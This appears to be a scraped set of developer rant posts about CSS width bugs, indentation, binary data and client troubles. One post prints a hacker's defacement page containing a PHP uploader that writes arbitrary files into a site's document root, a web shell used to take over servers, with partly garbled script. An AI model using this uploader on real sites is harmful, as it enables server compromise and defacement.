position().left returned an incorrect value breaking the whole thing. then jquery animations slowly produced a one pixel discrepancy when everything is animating based on the container width. breaking the whole thing.
Only solution has been to pretend all is fine.
things that make you want to smash something.3 -
I don't get it.
I tried Kotlin on Android just for fun, and it doesn't support binary data handling, not even unsigned types until the newest version. Java suffers from the same disease.
How does one parse and process binary data streams on such a high end system? Not everything is highlevel XML or JSON today.
And it's not only an Android issue.
Python has some support for binary data, and it's powerful, but not comfortable.
I tried Ruby, Groovy, TCL, Perl and Lua, and only Lua let's you access data directly without unnecessary overhead.
C# is also akward when it comes to data types less than the processer register width.
How hard can it be to access and manipulate data in its natural and purest form?
Why do the so called modern programming language ignore this simple aspect that is needed on an everyday basis?11 -
Both buttons have a width from 35% but how is it possible that the button in safari is bigger then Chrome ??
9 -
Client said the images need to be responsive and go full width.
Told her that would make the images massive and we should have a limit in height a cropping enabled.
She told me it should look nice with full width images uncropped.
Fucking designers said the same fucking thing.
Client today: Hey images are huge. Make sure they look nice.
*sigh*8 -
Why is web development such a headache?
I'm writing a responsive wesbite from scratch. All goes perfect, even cross browser.
It all works, adapts to screen size etc. Nice! About to get this code into production.
Me: I'll test the iPhone 5 viewport size before I push the code...
Responsive Developer Tools:
FireFox: nu uh, there's a magic random 1px margin to every element on your page now, which you cannot find in your css or in the computed tab. It's magical.
Me: weird, what if I change the viewport size to the iPhone 6's dimensions?
Issue persists.
Me: hmm, what if I add or substract one fucking pixel from the viewport width or height?
FireFox: What 1px margin? Don't know what you're talking about ... There never was one...
Me: ok, weird (sets viewport size back to the iPhone 5 format for testing)
FireFox: I present to you: the magic random 1px margin.
I'm at a loss. I really am. Been clicking and unclicking almost every responsive part of my css I could find for this page and it just doesn't want to work persistently. And I swear to god that it worked a week ago in that exact viewport size. It's so frustrating.
31 -
Chromes css processing is the equivalent of javacript...
Me: width 0px.
Chrome: width 178px!
Me: width 1%.
Chrome: width 0px!
😑2 -
So I just fixed about a year or so old bug by removing my solution entirely.
As very few of you will know, I work on/ off on a project called TG which accelerates cmd.exe
One of my oldest bugs in this project is that the buffer resizes real weird. If you adjust both the height and width at the same time, it goes into this weird infinite loop business.
As it turns out, cmd.exe handles that by itself just fine. I just removed my resize listeners and now everything is running smooth.
feelsgood(?)man.jpg -
Fucking outlook, can't even render simple html.
Our company wanted a custom newsletter to send to our clients. Before vacation I dropped a few guidelines to our designer, how our newsletter should look. 640px width, common fonts for everyone to render properly, stuff like that. To my fucking surprise they managed to create the most designed newsletter I've seen. Custom font, custom letter sizings, negative row gaps, pixel to pixel image locations. After writing custom html for it and managing to get all perfectly in 3 hours, to my surprise I found out, that outlook is broken. FML
Now everything must be redesigned and simplified, just because I was naive enough to think, that all mail clients manage to render simple HTML...11 -
One more time.
ppi != resolution != size ! = aspect ratio
ppi is a measurement of sharpness.
Resolution is the depth of pixels.
Size is width and height mesured in units.
Aspect ratio is the... ratio of width to height.2 -
I accidentally set the width and height of a rectangle to zero in my code, and my program drew a circle. Interesting outcome.3
-
Hello and welcome, to a presentation in which I will tell you my thoughts on the shortcomings of modern day computers and programming practices.
Computers are based on a very fundamental and old idea, folders, and files, a file is basically a concrete amount of data, whereas a folder is a group of files, and it comes from the real life concept of files and folders, now it might be quite obvious already that using a concept invented in 1898 by a guy called Edwin G. Seibels, might not be the best way for computers to function in the year 2020, but alas, it is.
Unless of course, you step into the world of a programmer.
A programmer’s world is much different, they use this idea of a data structure, or in simpler terms, an object. An Object is just like what you would think of as an object in your head, something with different properties that you can think about in different ways, for example your mobile phone, it has a battery percentage, it has a screen size, it has free space available. Programmers use these data structures to analyse data very quickly, like finding all phones with a screen size bigger than a certain size for example.
The problem is that programmers still use files and folders to create the programs that use these objects.
Consider this example.
Let’s say you want to create a virtual version of a drink bottle, consider what properties it will have, colour, volume, height, width, depth, material, etc..
As a programmer, you can leverage programming features and change the properties of a drink bottle directly, if you wanted to change the colour, you just say, drink bottle “dot” colour, equals blue, or red.
But if the drink bottle was represented as a file, all the drink bottles data would be inside the one file, so you would have to open the whole file, find the line or section of the file that has the colour data of the drink bottle, and select it, highlight it, delete what’s there, and type in your new value.
One way to explain this better is to imagine a folder that now represents the drink bottle, imagine adding a new file into that folder that represents each property I described before, colour, volume, etc.., well now, you could just open that folder, find the file for colour, either by looking with your eyes or you could do a file search in the folder for a file called colour, open it, and edit the value inside. This way of editing objects is the one that more closely represents the way programmers and a program itself interacts with objects inside a running programming language.
But the thing is, programmers don’t use the folder/file way of creating objects and putting them into programs, because it would be too cumbersome, they just create 1 file for an object, or have lots of objects in a file, and create all the objects in 1 file, and then run the program which creates the objects, then when they stop the program, it deletes the objects. So there is no actual link between the object in a file and the object that the program creates by reading the data from that file, if you change the object in your program, it does not get saved to the file.
So programmers created databases to house these objects, but there is still a flaw in databases, they are hard to interface with, and mostly databases are just used to send data or retrieve data from, programmatically, you can’t really browse a database the way you can browse the files on your computer. You can, but database interfaces are not made to be easily navigated the way files and folders are.
As it stands, there is no way to store objects instead of files on your computer and interact with them in complex ways the way programmers can inside the programs they create.
If the idea of an object became standard the way a file and folder is standard, I think it would empower human’s a great deal to express things far more easily and fluidly than they can today.
Thanks for reading.8 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
Looking a pr I found this piece of art in a css file:
width: 86.3624%;
Me: "something feels off about this."
Colleague: "Again with your readability bs?"
Me: *looks at the camera, perplexed* (The camera as in: I'm in a sitcom, not as pair programming)15 -
I never understood the ‚space vs tabs‘ war ...
Tabs can do everything that spaces can plus more:
* look the same as spaces, but its width is configurable (at least in a decent editor)
* the safe space (1 byte vs 3 or 4)
* you can decrease the intendation leven with one bsckspace keypress in every(!) editor.
So the winner can only be tabs? Why would I even limit myself with spaces?
I dont wanna start a flame war, just curious what you guys (especially the spaces lovers) think about it11 -
keep getting website designs made in InDesign with widths in pt units without any grid and the client complains the layout isn't pixel perfect when 1220pt width doesn't look the same on 1220px. i had to make the desktop layout 1626 px wide...3
-
At work, all errors within the site are logged into our database with a subject and error column. SQL errors are logged in the subject field while the traceback is put in the error column. However, a lot of SQL errors are really large and exceed the max character width of the subject field, causing yet another SQL error, and the cycle repeats. This recursive error has been the bane of my existence, because 1) it times my local dev instance out and 2) the error doesn't end up getting logged because the server both freezes and the error can't be inserted in the database. You can't even begin to imagine how many hours I've wasted trying to find what line I changed cause total and utter failure with absolutely 0 error logging. Next thing on my todo list is to fix this fucking issue since the head dev refuses to get it done.2
-
So my company wanted a view in view look on their website. So it would look like a black background with a while box in the middle, right?
Well, the devs apparently thought that screens were capped height! On my monitor, the box is less than half the height, but since it stretches the width, the image got larger. So my screen has a scrollbar, and the actually useful part also has a scrollbar, with a shitton of space below!
If that didn't make sense, see crappy drawing of what I see...(painted on Phone). The dashes are the hidden parts that I can't see because of the window!
2 -
I just pulled an all-nighter to write an usability testing protocol in Microsoft Word for a medical mobile app.
- statement of consent and privacy declaration; easy: 1 hour
- structuring the protocol and writing the different use cases; easy: 1-2 hours
- layouting the document so the tables don't look like utter shit and adding dotted lines into the columns so the user can write in it without fucking up the whole document when resizing a simple column width; a fucking nightmare: 5 hours
Why is the creation of a nice layout so inefficient to the point where I'd rather design a form in CSS and send it to my printer, get your shit together!3 -
*[style*="width:"],*[width] {max-width:100% !important;}img[width] {height:auto !important;}
* !important feels so hacky but it works!
Old site with ancient code and multiple people not versed in css or even newer html. Decided, ah F it, just workaround that and * all the things!1 -
Me: *opens devTools*
Firefox: yea bro lemme just ..uh.. hmm yeah so this is the css for the element, see?
Me: Thanks.
Me:
Me: this makes no sense, why would I ever do that?
Firefox: also you can't have width on an anchor tag. I can't put that rule into effect
Me: I didn't put any width on your inline element, you sure about that?
Firefox: yea try using display: inline-block
Me: No. I'll just delete that. *checks file*
Me: Maybe that line is wrong because IT DOES NOT FUCKING EXIST!
What is this shit? I just restarted you! What else do you need, a reinstall? Drink too much over the holidays?
It's like the css editor has become a shallow tray with rules on it, and as soon as you bump it a little everything spills over and then Firefox just thinks oops, I've got this font-size: 200% lying around, lemme stick this into the hr tag which makes sense because THERE CAN'T BE ANY TEXT IN IT.
9 -
!dev
For a long time, I thought that the most annoying people on the ski slope are kids overestimating their abilities on a difficult piste or speeding down the slope ignoring others. Boy was I wrong; those kids are nothing compared to all the fucking morons who think that buying the most expensive gear at a local sports store makes them better at skiing.
For the love of god, if you ever consider skiing, just buy some reasonably cheap all-mountain gear, and if you think you need something better, do proper research or find a fucking expert. I'm not talking about those "experts" they have at your local sports store, I'm talking someone who provides gear and support for actual ski clubs and teams, or at least someone working at a dedicated outdoors store who actually owns some of the gear they're selling.
"Oh, but I'm an advanced skier" - right, then why don't you tell me what turning radius, width profile, and flex would best fit you? Thought so.
Look, it's clear just by looking at your $1000 "racing" skis that they have a way shorter turning radius than any competition-level skis, and if you were really going as fast as you think you are, you'd probably spin out on every other turn with such a short radius. Your curved skiing poles aren't fooling anyone either; professionals only use those in super-g and downhill because you need to go insanely fast to notice any advantage over regular poles. And people who race that fast use way more protection than I can see on you.
Okay, it's your gear, it's your body; if you're going to buy overpriced stuff that doesn't make sense or neglect protection, that's up to you. Do you know what's not up to you? Being a fucking moron and ruining skiing for everyone else. Just because you got the most expensive "expert-level" gear, you can't just use it for powder, park, or moguls when you feel like it because you don't fucking know how to ride any of these, even if your gear claims to be good for all types of skiing. And let me tell you, that expensive gear you have is much less forgiving than some entry-level gear if you decide to try other styles of skiing.
I'm fucking tired of people like that. If I go to the resort with lots of powder, I want to ride the powder, not spend most of my time avoiding groups of morons who clearly don't have the right gear and skills for the powder. If I go to the resort with a huge park, I want to ride the park, and I can't do anything if the place is covered by dipshits speeding past the objects and braking in front of the jumps. And if I want to race down the piste, I want to race, I don't want to have a bunch of morons constantly switching side in front of me to avoid "rough" parts they can't ride on. -
Got one right now, no idea if it’s the “most” unrealistic, because I’ve been doing this for a while now.
Until recently, I was rewriting a very old, very brittle legacy codebase - we’re talking garbage code from two generations of complete dumbfucks, and hands down the most awful codebase I’ve ever seen. The code itself is quite difficult to describe without seeing it for yourself, but it was written over a period of about a decade by a certifiably insane person, and then maintained and arguably made much worse by a try-hard moron whose only success was making things exponentially harder for his successor to comprehend and maintain. No documentation whatsoever either. One small example of just how fucking stupid these guys were - every function is wrapped in a try catch with an empty catch, variables are declared and redeclared ten times, but never used. Hard coded credentials, hard coded widths and sizes, weird shit like the entire application 500ing if you move a button to another part of the page, or change its width by a pixel, unsanitized inputs, you name it, if it’s a textbook fuck up, it’s in there, and then some.
Because the code is so damn old as well (MySQL 8.0, C#4, and ASP.NET 3), and utterly eschews the vaguest tenets of structured, organized programming - I decided after a month of a disproportionate effort:success ratio, to just extract the SQL queries, sanitize them, and create a new back end and front end that would jointly get things where they need to be, and most importantly, make the application secure, stable, and maintainable. I’m the only developer, but one of the senior employees wrote most of the SQL queries, so I asked for his help in extracting them, to save time. He basically refused, and then told me to make my peace with God if I missed that deadline. Very helpful.
I was making really good time on it too, nearly complete after 60 days of working on it, along with supporting and maintaining the dumpster fire that is the legacy application. Suddenly my phone rings, and I’m told that management wants me to implement a payment processing feature on the site, and because I’ve been so effective at fixing problems thus far, they want to see it inside of a week. I am surprised, because I’ve been regularly communicating my progress and immediate focus to management, so I explain that I might be able to ship the feature by end of Q1, because rather than shoehorn the processor onto the decrepit piece of shit legacy app, it would be far better to just include it in the replacement. I add that PCI compliance is another matter that we must account for, and so there’s not a great chance of shipping this in a week. They tell me that I have a month to do it…and then the Marketing person asks to see my progress and ends up bitching about everything, despite the front end being a pixel perfect reproduction. Despite my making everything mobile responsive, iframe free, secure and encrypted, fast, and void of unpredictable behaviors. I tell her that this is what I was asked to do, and that there should have been no surprises at all, especially since I’ve been sending out weekly updates via email. I guess it needed more suck? But either way, fuck me and my two months of hard work. I mean really, no ego, I made a true enterprise grade app for them.
Short version, I stopped working on the rebuild, and I’m nearly done writing the payment processor as a microservice that I’ll just embed as an iframe, since the legacy build is full of those anyway, and I’m being asked to make bricks without straw. I’m probably glossing over a lot of finer points here too, just because it’s been such an epic of disappointment. The deadline is coming up, and I’m definitely going to make it, now that I have accordingly reduced the scope of work, but this whole thing has just totally pissed me off, and left a bad taste about the organization.10 -
I'm going insane.
My colleague wanted to sort an excel spreadsheet and got an error. "Can't sort, column width must match" (or something along the lines) . Which basically means you got non uniformly merged cells.
Without telling me this, he asked for training on how to change column width precisely, after spending 30 minutes explaining he done just that. Column by column for all 40 columns he did just that. Resized to 10 of something (no one really knows what those width numbers in Microsoft Excel really mean) and try to sort.
I Shit you knot, he got the exact same error and flipped out angry at me for creating a shitty system (I think he spent an hour or two total with double and triple checking the sizes)
I did laugh because of this, but I do feel bad for not asking what was the real reason before all of this.1 -
FUCKING CSS and browser inconsistencies.
Trying to make a simple static site but these fucking browsers are making it so hard I want to program console application instead.
Also for some reason mobile Firefox don't give the right window height and width fuck everything.9 -
You can kill me now...
.entry-item
position: relative
display: inline-block
float: left
width: calc(25vw - (204px/4) - (320px/4))
height: calc(25vw - (204px/4) - (320px/4))
overflow: hidden
@media(max-width: 1600px)
width: calc(33.333vw - (204px/3) - (320px/3))
height: calc(33.333vw - (204px/3) - (320px/3))
@media(max-width: 1440px)
width: calc(33.333vw - (48px/3) - (320px/3))
height: calc(33.333vw - (48px/3) - (320px/3))
@media(max-width: 1200px)
width: calc(50vw - (48px/2) - (320px/2))
height: calc(50vw - (48px/2) - (320px/2))
@media(max-width: 1024px)
width: calc(50vw - (48px/2))
height: calc(50vw - (48px/2))
@media(max-width: 720px)
width: calc(50vw - (24px/2))
height: calc(50vw - (24px/2))
@media(max-width: 580px)
width: 100%
height: calc(100vw - 24px)5 -
I had a bug on two animations for 2 months caused by a fucking svg img lazy loaded with no width/height in between png-s on top of the page... This was the biggest blocker on final qa. Im so done with this shit... 😶
-
Turns out `white-space: nowrap` takes priority over every single other layout property used to constrain width and overflow, including these:
overflow
width
max-width
grid-template-column
But hey, CSS doesn't suck, you're just bad at it!4 -
I've been dreaming about an eat() method in, I guess, Javascript. It would accept a string as parameter and set the cursor position further by the width of that string in the current font and size without displaying the string. A bit like a span with FG == BG.
But the best was the debug mode: the characters would be printed, but a yellow duck would appear from the left and eat them in Pacman style.1 -
This might just be me and my OCD talking, but am I the only one who gets super annoyed with sloppy CSS formatting?
So like, if somebody writes a sloppily formatted rule like this without spacing out each property and value:
#signUpButton {color:#FFF;background:#000;float:right;clear:both;padding:5px;position:absolute;top:5px;right:20px;height:100px;width:45px;}
As opposed to something like this, which just looks much cleaner:
#signUpButton { color: #FFF; background; #000; float: right; clear: both; padding: 5px; }
The formatting makes no difference in how the CSS is evaluated and rendered, but I find the spaceless style so ugly and difficult to read/edit, whereas the spaced out style is much more appealing to the eyes and easier to read
I find myself reformatting other people's CSS that works perfectly fine just so it will be easier to read/edit for anybody else that looks at it in the future8 -
!dev
My toilet paper roll is fucked, the rip line only goes half the width of the roll so it always tears off a part of the next piece
We cannot live in a world of chaos8 -
I know this topic is tired and this isn't supposed to be a pure "REEEE SPACES BAD" kinda rant but I still don't understand why people would ever use spaces over tabs for indentation. I'm genuinely curious so please give me your arguments in favor of spaces because I just don't understand
So here's my position:
Tabs are objectively better than spaces in every single way
(I know that IDEs also do some of these for spaces, more on that later)
1. They are typed with one key press
2. They can be removed with one keypress
3. They allow for individually configurable width (some people prefer 2 and some 4 width)
4. They take up less memory (kinda irrelevant, but still)
5. You can properly navigate your code using the arrow keys which is much faster than using the mouse while typing
6. You don't have problems with accidentially having one too much or one too little
7. You don't have problems when copy pasting or moving code around (e.g. refactoring)
8. Code is much easier to select with the mouse, and
9. it's much easier clicking the right spot with the mouse where you want to continue typing, which is often at the start of a line
Apart from specific alignment, where spaces are fine (but which also almost never comes up), I just can't see a single thing where spaces are better at. So much so that most IDEs have to *pretend* that they're tabs when typing and removing them. It's so ironic yet people still defend it and big companies still use them.
I feel like I'm going mad 😨56 -
I fucking hate CSS. I thought I'm not bad at it ... But I just wasted 1h over nothing ...
Couldn't set the width for the anker tags
5 -
I had six items that I wanted to centre horizontally via CSS. Problem was that depending on the viewport width, the items could either take one, two, three or six lines. But the items broke to the next line like text so that e.g. the top line had five items and the second only one. What I wanted was three items each in this case.
Finally, I came up with a hack of media queries to make the parent container just so wide that six, three, two or one item would fit horizontally, and then centre the parent container with margin left/right auto.1 -
Where do I start...
I have seen a QA load local code to a machine, run it and then say it was ready to deploy. Little did we know she wasn’t following the deployment process at all and didn’t even realize she had to. We were a week trying to figure out why the deploys wouldn’t work until she spoke up.
I knew a dev/founder that said to me “source control is only for large projects”, I tried to convince him and his cofounder to use github or bitbucket. Nope, they weren’t into it (fresh out of school listening to professors who hadn’t worked a development day in 20 years) One cofounder got disgruntled, thought he was doing most of the work and decided to quit, he also decided to wipe the code off his co-founders machine. I literally saw a grown man come out of a meeting crying knowing he would never gain back the respect of those mentors and advisors.
I once saw a developer create a printed ticket receipt for a web app. Instead of making a page and styling it to fit a smaller width, he decided to do everything in string literals. More precisely, he made one big long fucking strong literal and then broke it up using custom regex to add styling to different sections. We had a meeting and he was totally convinced this was the only way. In the end we scrapped the entire code and the dude didn’t last very long after that.
Worst of all! I once saw a developer find a IBM Model M keyboard and said “I’m gonna throw out this junky keyboard”. I told him to shut his stupid fucking mouth and give the the keyboard.
He did -
disclaimer i dont understand css to begin with so you can discard my opinion
You have all these options for width https://developer.mozilla.org/en-US... , but guess what none of them do anything different as you brute force try them all in the chrome debugger. Dunno what cascades except my butthurt
so fuck it ~1000% width works and has an ugly overhang, but fuck front end8 -
Because of reasons we had to use the reactabular-module in our react application. There were problems giving relative values to the table-columns so a coworker decided to install a resize-listener in the window and calculate the relative values itself when the window width changes.
But i have to defend the guy who did this. Given the other things to do and our (limited) knowledge of the css-display-attribute and the reactabuler-module this was the best thing to do. Or we just wamted to finish this because we already wasted hours on this.1 -
Inherited a codebase that implements its own word wrapping for receipt printing. Problem is it's putting an extra space at the end of each line.
I open up the implementation, expecting it to be a relatively simple fix, until I see this…
var regex = '.{1,' +width+ '}(\\s|$)' + (cut ? '|.{' +width+ '}|.+$' : '|\\S+?(\\s|$)');
return str.match(RegExp(regex, 'g')).join(linebreak);7 -
Sure you can specify svg object attributes x, y, width and height in metric values like mm and after put things on paper get same printed output but if you want to transform svg object you need to calculate new values by yourself cause you can’t simply provide translate (10mm, 10mm).
Now I ended up with manually converting values to mm.
Making free transform tool for exact document data rendering inside browser is pain in the ass.
I started to wonder how google docs or microsoft word for web deal with this stuff.2 -
Want to hear another joke?
Blue Prism allows you to export stuff from version 6.7 to 6.3.
However they changed 𝘷𝘦𝘦𝘦𝘦𝘳𝘺 slightly the way they store the position of the nodes. No new features -or at least nothing that you would care about- but the structure of the node itself want went from
```
<positionx>1</positionx>
<positiony>2</positiony>
<width>3</width>
<height>4</height>
```
To
```
<position x=1 y=2 w=3 h=4></position>
```
The whole project collapsed to a single point, catastrophic consequences as far as exception handling. A generic "fuck you" for no real reason other than the sheer malice of those beasts of burden who developed Blue Prism in the first place.
And I have two different versions of Blue Prism on dev and prod :)
2 -
couldnt work out today why some jquery wasn't stopping an elements width overflowing its container.
in the end after 1 and a half hours of wanting to bash my head in, I had the window expanded across both monitors and hadn't noticed the edge of the window was off the screen.
FML! -
Shouldn't the following actually fucking work? Because right now, changing it does fucking nothing.
<div class="options">
<button>New Project</button>
<button>Load Project</button>
<button>About</button>
<button>Exit</button>
</div>
And in the relevant css file:
.options {
width: 80%;
margin: 0 auto;
}
Edit: Jesus fucking christ I'm blind. Had the css href attribute misspelled as 'hred'.
Shoot me now. Just get it over with.5 -
I prefer three spaces-wide indentation in my code. This is unconventional to say the least, as many people prefer four or two spaces width.
This is why I use tabs — every developer that works in my company can do two clicks in their IDE to set the indentation they like, and I realize I must not force it my way with three spaces. Indeed, one of my colleagues prefer four spaces, and it took them less than a minute to set this up and not to worry about it ever again. To me, this sounds like a good alternative over arguing and finding a compromise that "everyone in the team are okay with".
This way, every developer who comes to my company at any time ever wouldn't have to get used to the indentation width standard that is different from what they're already comfortable with.
I want to live in the world where "convert indent" button in IDEs that replaces spaces with another spaces is dusty and abandoned. I met those who use four spaces, the most popular standard, who also thought everybody who disagrees with "The Standard" should change their ways. This makes me sad.2 -
Just TYPO3 things:
in your config constants doing "styles.content.textmedia.maxWInText = 450" should basically crop all your images to a maximum width of 450 using ImageMagick except TYPO3 flips it's shit and won't do it.
After about an hour or so of debugging and guessing around with 2 other developers setting "styles.content.textmedia.maxWInText" to "500" will actually work. Every other number except 450 works.
Using TYPO3 is like preparing for hell.1 -
On This Episode of Ghetto Medium..
Posted after midnight for extra spooky effects. Read in the dark at your own risk. You've been warned.
So my mother has been on a binge watching shows like long island medium (apparently the taller your hair the closer you are to god or something), and every time we talk she begins at length to talk about, you guessed it.. 'ghosts.'
Now don't get me wrong, I've had some 'spooby' shit occur in my lifetime, the sort that will tighten your sphincter faster than bill cosby asking you if you want some koolaid or grape drank, but I digress.
The ghost talk is tiring. Lately theres been a *flood* of these new shows, purportedly showing mediums and people who can 'look into the other side' and I realize just how vapid and ridiculous it's all become, as if they all are being personally haunted by the ghost of John Edwards burnt out husk of a career. Theres long island beehive big-hair medium, celebrity medium, allison DuBois (the inspiration for that one sappy show *medium*) whos red hair and vacant stare speak of glimpses into centuries past like an intimate unseen horizon. or maybe she forgot to unplug her curling iron in a hotel one time and has been rendered permanently catatonic. And who can forget *Beyond With James Van Praagh* (everyone) whos face, as measured by the width of his mustache, appears to be expanding at a constant rate like a bad image macro edit thats been memed and repasted a thousand times. Then theres Chip Coffee, whos name is about as believable as his teaching degree on the show *Psychic Kids* where he mentored, again, you guessed it, *psychic kids*. Of course theres Tyler Henry, a youthful, uh, "flamboyant" medium for celebrities with ghost problems. Never trust a man with two names, this ones no exception, he looks so clean cut hes either secretly mormon, or secretly gay, maybe both. I'm not judging, but I am saying if I ever saw his clean cut, smooth, wrinkless (seriously, how tyler? how?), all american face, say smiling that subtle smile outside my kitchen sliding glass door at 3 am, his face watching me from the pitch dark outside, I wouldn't at all be surprised, except for the hospital bill I'd have to pay after shitting a brick and needing anal surgery.
At this rate we have mediums popping out left and right, like clowns at one of them R.L Stein nightmare carnivals, or beggers outside a methodone clinic. Geez, they're coming out the wood work, like those painting you see with hidden faces in them, or wheres-waldo posters, only you're trying to find the non-waldo guy amongst all the characters because they're ALL waldo: goofy acting, goofy dressing, and just all around goofy looking.
At this rate I'm fully expecting "pet medium" (starring a character named Stephen King and his marital problems, played by johnny depp eating way to much corn), and "haunted objects medium", and "car medium" (it's just seinfeld in a car, talking to psychics instead of other people), and "ghetto medium."
Today on this episode of "Ghetto Medium"..
Medium: Teneesha, aw yeah girl, u *definitely* ded gurl, uh huh! You WAY to white too be alive, you done passed over gurl!
And in the next episode of Ghetto Medium, one man claims "every time I bend over I can hear "wOoOoOoOoO!, Is my asshole possessed? Find out is it real or fake, and what our verdict is in Ghost Medium, episode 3: A Haunting In My Nether-regions."
Cut commercial break.
"Jerry Springer: One women asks, 'jerry, is my unborn child's foreskin haunted? And later today we ask the crowd, would you have sex with a ghost?"
Welcome to American television 'programming' in 2019.
Yes, it's all brainwashing.2 -
I really hate doing all the tweaks for tablet and mobile on websites. No matter how hard one tries to design for mobile first and make the transitions as seamless as possible, there are always some “fiddly bits” that won’t behave. And so many devices with all their viewport width variations. Also, there’s the matter of people resizing a desktop browser to any width that might not be covered by the breakpoint ranges that specifically. One could write a hundred breakpoints and still not account for it all on some designs. It’s exhausting.2
-
What should I do to practice being a "good coder" vs a "code Googler" who slaps other people's code into the site just because "it's enough to get the damn thing working"?
I feel really overwhelmed with all that Ive learned thus far. At this point I feel width with know depth when it comes to my knowledge of websites.
I've been messing around with html/css/js for a while and played with plenty of other languages,pre-processors, frameworks, etc. I never went to school for programming and have done work for small businesses independently for some time. Most of what I know comes from codecademy treehouse and similar sites. I can refer to Google on a lot of things but I feel like there are habits that I should be implementing so I don't have to re-do things later. I love the book apart series but I still feel like it's missing the foundational knowledge that I'm looking for.
After all of the time I've spent going through courses I feel like my experiences have given me solutions to build a few things and now I'm just jamming those solutions onto whatever I can until something I like comes on to the browser.
It's really easy to sit down and bang my head against the keyboard until something comes out that looks the way I want it to. However, I know there is way more going on that could help me make better decisions. I just feel like I'm missing something. Maybe it's experience, or maybe it's just the lack of commroddery from working alone and not being able to approach problems with a team.
I hate pulling up my css file and feeling like it's rubbish, and feeling like I don't completely understand things like flex, or display, or position. I've been pushing at this for a while but I don't think I've found a resource that has really made me feel like I'm anywhere close to being a competent coder.
There are tons of watch and learn and do type classes that show you how to make stuff, but I guess what I want to know now is why we make it that way.
At some point do you just sit down and read the MSN start to finish?
I wonder sometimes if my brain has been reprogrammed because I grew up in Google world and don't actually have to solve anything for myself. I read about a guy who locked himself away for hours with books on code and he just sat there and wrote his code on paper until he was confident that he was getting it right.2 -
Spaces vs tabs has kind of become a non-argument for web tech and the former has won (at least in every place I've worked or observed in open source projects).
Although I don't really care (just stick to one for the same codebase) I don't get why spaces won. Given the argument is mostly about how we like to read code individually, and tab width can be configured per editor while space cannot, why did spaces win?8 -
ChatGPT is so much better than Google:
instead of wasting my time by linking to unhelpful / outdated / unrelated StackOverflow resources, it tells me to do the work by myself right away:
> To ensure consistent pseudo-element width across different browsers, including Safari, you can follow these steps: [...]
> (some basic HTML/CSS 101 seemingly quoted from a 2015 textbook)
>
> It's important to note that browser behavior might vary due to different rendering engines or versions. While following best practices helps achieve consistent results, you might still encounter small discrepancies. Cross-browser testing is always recommended to ensure your design looks consistent across different browsers, including Safari.
>
